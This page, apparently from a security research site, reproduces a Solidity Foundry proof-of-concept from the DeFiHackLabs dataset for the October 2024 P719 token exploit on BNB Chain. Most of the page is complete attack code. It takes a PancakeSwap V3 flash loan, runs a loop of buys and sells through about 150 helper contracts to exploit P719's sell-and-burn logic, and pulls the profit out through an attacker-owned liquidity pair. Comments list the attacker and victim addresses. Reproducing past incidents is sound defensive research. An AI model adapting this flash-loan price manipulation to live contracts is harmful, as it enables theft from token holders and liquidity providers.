Skip to content
THREATWIRE

Public reproduction file

src/test/2024-10/P719Token_exp.sol

Public reproduction file for dataset entry P719Token.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-10/P719Token_exp.sol244 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 547.18 BNB (~$312K USD)
8// Attacker : https://bscscan.com/address/0xfeb19ae8c0448f25de43a3afcb7b29c9cef6eff6
9// Attack Contract : https://bscscan.com/address/0x3f32c7cfb0a78ddea80a2384ceb4633099cbdc98
10// Vulnerable Contract : https://bscscan.com/token/0x6beee2b57b064eac5f432fc19009e3e78734eabc
11// Attack Tx : https://bscscan.com/tx/0x9afcac8e82180fa5b2f346ca66cf6eb343cd1da5a2cd1b5117eb7eaaebe953b3
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/token/0x6beee2b57b064eac5f432fc19009e3e78734eabc#code
14// Not verified contract but the bug lies in `transfer()` function, when tokens are transferred to P719,
15// the action is processed as a sell, using a Uniswap-like swap mechanism to calculate the BNB amount to
16// be swapped.
17// After the swap, P719 burns the majority of sold tokens and transfers fee tokens from itself, which could
18// wrongly inflates the token's price.
19// More info: https://x.com/TenArmorAlert/status/1844929489823989953
21// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
23// Contracts involved
24address constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
25address constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;
26address constant weth = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
28address constant P719 = 0x6bEee2B57b064EAC5F432FC19009E3E78734Eabc;
30contract P719Token_exp is Test {
31 address attacker = makeAddr("attacker");
32 MyToken myToken;
34 function setUp() public {
35 vm.createSelectFork("bsc", 43_023_423 - 1);
36 }
38 function testPoC() public {
39 vm.startPrank(attacker);
40 AttackerC attackerC = new AttackerC();
41 vm.label(address(attackerC), "attackerC");
43 // First the attacker create a owned token
44 myToken = new MyToken();
46 // Second create a pair in uniswap with WBNB
47 vm.deal(attacker, 0.001 ether);
48 myToken.approve(PancakeRouter, type(uint256).max);
49 (,, uint256 liquidity) = IFS(PancakeRouter).addLiquidityETH{value: 0.001 ether}(
50 address(myToken), 100 ether, 100 ether, 0.001 ether, attacker, block.timestamp
51 );
53 // Third create severals buy/sell contract to attack P719 contract
54 attackerC.setup(address(myToken));
56 // Fourth attack and sell to the created pair
57 attackerC.attack();
59 // Finally remove liquidity from the pair
60 address factory = IFS(PancakeRouter).factory();
61 address myPair = IFS(factory).getPair(weth, address(myToken));
62 IERC20(myPair).approve(PancakeRouter, type(uint256).max);
63 IFS(PancakeRouter).removeLiquidityETH(
64 address(myToken), liquidity, 0, 547_180_977_558_295_682_131, attacker, block.timestamp
65 );
67 console.log("Final balance in WETH:", attacker.balance);
68 }
71contract AttackerC {
72 address myToken;
74 AttackerC2[] attackerC2s33;
75 AttackerC2[] attackerC2s100;
77 function setup(
78 address _myToken
79 ) external {
80 myToken = _myToken;
82 for (uint256 i; i < 33; i++) {
83 attackerC2s33.push(new AttackerC2());
84 }
85 for (uint256 i; i < 100; i++) {
86 attackerC2s100.push(new AttackerC2());
87 }
88 }
90 function attack() external {
91 IFS(PancakeV3Pool).flash(
92 address(this), 0, 4000 ether, hex"0000000000000000000000000000000000000000000000000000000000000001"
93 );
94 }
96 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
97 IFS(weth).withdraw(4000 ether);
98 //uint256 supply = IERC20(P719).totalSupply();
100 for (uint256 i; i < 14; i++) {
101 AttackerC2 attC2 = new AttackerC2();
102 attC2.buy{value: 10 ether}();
103 }
105 //uint256 supply = IERC20(P719).totalSupply();
106 //uint256 bal = IERC20(P719).balanceOf(P719);
108 for (uint256 i; i < attackerC2s33.length; i++) {
109 //uint256 bal0 = IERC20(P719).balanceOf(P719);
110 attackerC2s33[i].buy{value: 100 ether}();
111 //uint256 bal1 = IERC20(P719).balanceOf(P719);
112 }
114 AttackerC2 attC2 = new AttackerC2();
116 for (uint256 i; i < attackerC2s33.length; i++) {
117 IERC20(P719).transferFrom(
118 address(attackerC2s33[i]), address(attC2), IERC20(P719).balanceOf(address(attackerC2s33[i]))
119 );
120 }
122 //IERC20(P719).approve(msg.sender, type(uint256).max);
123 uint256 balAttC4 = IERC20(P719).balanceOf(address(attC2));
125 for (uint256 i; i < attackerC2s100.length; i++) {
126 IERC20(P719).transferFrom(address(attC2), address(attackerC2s100[i]), balAttC4 / 100);
127 attackerC2s100[i].sell(balAttC4 / 100);
128 }
130 //uint256 supply2 = IERC20(P719).totalSupply();
131 IFS(weth).deposit{value: address(this).balance}();
133 uint256 bal3 = IERC20(weth).balanceOf(address(this));
135 IERC20(weth).approve(PancakeRouter, type(uint256).max);
136 //IERC20(myToken).approve(PancakeRouter, type(uint256).max);
138 address[] memory path = new address[](2);
139 path[0] = weth;
140 path[1] = myToken;
142 IFS(PancakeRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(
143 bal3 - 4000 ether - fee1, 0, path, address(this), block.timestamp
144 );
146 IERC20(weth).transfer(PancakeV3Pool, 4000 ether + fee1);
147 }
149 receive() external payable {}
152contract AttackerC2 {
153 constructor() public payable {
154 IERC20(P719).approve(msg.sender, type(uint256).max);
155 }
157 function buy() external payable {
158 P719.call{value: msg.value}("");
159 }
161 // Used by attackerC2s33 and attackerC2s100contracts
162 function sell(
163 uint256 amount
164 ) external {
165 IERC20(P719).transfer(P719, amount);
166 msg.sender.call{value: address(this).balance}("");
167 }
169 // Used by attackerC2s33 and attackerC2s100contracts
170 receive() external payable {}
173contract MyToken {
174 constructor() {
175 balanceOf[msg.sender] += 10_000_000_000_000_000 ether;
176 }
178 mapping(address => uint256) public balanceOf;
180 mapping(address => mapping(address => uint256)) public allowance;
182 function approve(address spender, uint256 amount) public virtual returns (bool) {
183 allowance[msg.sender][spender] = amount;
184 return true;
185 }
187 function transfer(address to, uint256 amount) public virtual returns (bool) {
188 balanceOf[msg.sender] -= amount;
189 balanceOf[to] += amount;
191 return true;
192 }
194 function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
195 uint256 allowed = allowance[from][msg.sender];
196 if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
198 balanceOf[from] -= amount;
199 balanceOf[to] += amount;
201 return true;
202 }
205interface IFS {
206 // PancakeV3Pool
207 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
209 // WETH
210 function withdraw(
211 uint256
212 ) external;
213 function deposit() external payable;
215 // PancakeRouter
216 function factory() external view returns (address);
218 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
219 uint256 amountIn,
220 uint256 amountOutMin,
221 address[] calldata path,
222 address to,
223 uint256 deadline
224 ) external;
225 function addLiquidityETH(
226 address token,
227 uint256 amountTokenDesired,
228 uint256 amountTokenMin,
229 uint256 amountETHMin,
230 address to,
231 uint256 deadline
232 ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
233 function removeLiquidityETH(
234 address token,
235 uint256 liquidity,
236 uint256 amountTokenMin,
237 uint256 amountETHMin,
238 address to,
239 uint256 deadline
240 ) external returns (uint256 amountToken, uint256 amountETH);
242 // PancakeFactory
243 function getPair(address tokenA, address tokenB) external view returns (address pair);

Analysis

Dataset entry

Public Foundry test for “P719Token” (2024-10-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xfeb19ae8c0448f25de43a3afcb7b29c9cef6eff6

  • Attack Contract

    0x3f32c7cfb0a78ddea80a2384ceb4633099cbdc98

  • Vulnerable Contract

    0x6beee2b57b064eac5f432fc19009e3e78734eabc

  • Attack Tx

    0x9afcac8e82180fa5b2f346ca66cf6eb343cd1da5a2cd1b5117eb7eaaebe953b3

File record

Name
P719Token
Path
src/test/2024-10/P719Token_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
cd84d7e23565bc8c7143b2fac4334721e7c3f5ec
Language
Solidity
Size
245 lines
Date
2024-10-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-10/P719Token_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cd84d7e23565bc8c7143b2fac4334721e7c3f5ec, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.